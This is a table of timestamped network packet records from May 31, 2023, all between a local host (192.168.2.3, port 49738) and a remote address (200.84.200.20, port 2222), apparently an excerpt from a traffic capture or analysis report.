May 31, 2023 14:27:19.896399975 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.896518946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.900680065 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.900780916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.903383017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.903496027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.905611038 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.905724049 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.910526037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.910628080 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.912976980 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.913063049 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.917145014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.917223930 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.919317007 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.919400930 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.924428940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.924515009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.926294088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.926387072 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.930939913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.931075096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.933134079 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.933248997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.938091993 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.938365936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.939954042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.940093040 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.944525003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.944730997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.946926117 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.947055101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.951620102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.951767921 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.953819036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.953999996 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.958237886 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.958374977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.960459948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.960724115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.964934111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.965152025 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.967660904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.967842102 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.972157955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.972399950 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.974174976 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.974303961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.978457928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.978616953 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.981549025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.981750011 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.985084057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.985269070 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.988320112 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.988455057 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.992296934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.992465973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.994995117 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.995285034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.997452021 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.997601986 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.002171993 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.002399921 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.004359961 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.004558086 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.008743048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.008955956 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.010703087 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.010965109 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.015953064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.016216993 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.018115044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.018268108 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.022573948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.022766113 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.024599075 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.024754047 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.029519081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.029700994 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.031979084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.032162905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.036139965 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.036314964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.038360119 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.038499117 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.043317080 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.043546915 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.045473099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.045605898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.049432039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.049570084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.052097082 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.052352905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.056649923 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.056838036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.059350014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.059564114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.062973976 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.063211918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.066732883 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.066947937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.070399046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.070528984 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.072876930 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.072972059 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.076818943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.076980114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.079915047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.080040932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.083879948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.083981037 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.086605072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.086682081 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.088934898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.089063883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.093805075 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.093918085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.095993042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.096096039 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.100461006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.100579977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.102669954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.102837086 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.107609987 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.107738972 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.111358881 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.111649990 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.114089966 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.114293098 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.116695881 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.116856098 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.121419907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.121561050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.123405933 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.123564959 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.127852917 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.128042936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.130012035 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.130172968 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.135209084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.135325909 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.137274027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.137417078 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.141628027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.141763926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.143871069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.144011021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.148081064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.148206949 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.151010990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.151139021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.155385971 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.155538082 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.158252954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.158384085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.161365986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.161472082 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.164572001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.164670944 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.166704893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.166806936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.171699047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.172379971 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.175681114 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.175808907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.178324938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.178469896 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.180535078 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.180646896 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.185461998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.185602903 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.187596083 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.187720060 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.192136049 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.192256927 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.194346905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.194545031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.202003002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.202208042 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.203857899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.203950882 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.205916882 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.206038952 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.207807064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.207896948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.212790966 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.212884903 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.217303991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.217375040 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.219469070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.219542027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.221621990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.221689939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.226682901 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.226769924 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.228785992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.228900909 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.233084917 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.233171940 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.235986948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.236066103 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.239960909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.240052938 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.242657900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.242742062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.246885061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.246958017 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.251785994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.251893997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.254210949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.254301071 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.257919073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.258008003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.260657072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.260719061 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.265074015 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.265141964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.267791986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.267878056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.270021915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.270093918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.274893045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.274971008 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.279344082 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.279433966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.281419039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.281503916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.285761118 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.285845995 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.288665056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.288743973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.290864944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.291012049 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.295090914 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.295176983 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.297303915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.297394991 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.302270889 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.302352905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.304688931 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.304775000 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.308865070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.308964968 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.311167955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.311269045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.316082001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.316198111 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.318136930 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.318222046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.322710991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.322777033 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.325722933 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.325797081 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.329834938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.329907894 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.331774950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.331868887 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.336256981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.336333036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.338690996 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.338771105 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.343322039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.343410969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.345642090 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.345752954 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.347762108 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.347821951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.352716923 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.352828026 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.357187986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.357347012 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.359354019 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.359478951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.363353014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.363456964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.366347075 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.366431952 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.369769096 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.369836092 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.373147964 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.373209000 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.377737045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.377832890 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.380069971 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.380166054 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.382256031 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.382344961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.386737108 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.386837006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.391699076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.391851902 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.393877029 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.393970966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.397826910 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.398005962 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.400542974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.400620937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.402517080 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.402606010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.407706022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.407813072 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.409846067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.409929037 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.414370060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.414458036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.418837070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.418970108 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.421367884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.421467066 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.423718929 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.423823118 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.427906990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.428009987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.430587053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.430690050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.435004950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.435122013 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.437370062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.437505007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.442183971 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.442296028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.444367886 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.444473982 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.448466063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.448584080 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.452528000 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.452696085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.454731941 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.454900026 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.458220005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.458364010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.462131977 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.462227106 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.464551926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.464668989 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.468951941 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.469027996 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:20.471738100 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:20.471820116 CEST	49738	2222	192.168.2.3	200.84.200.20
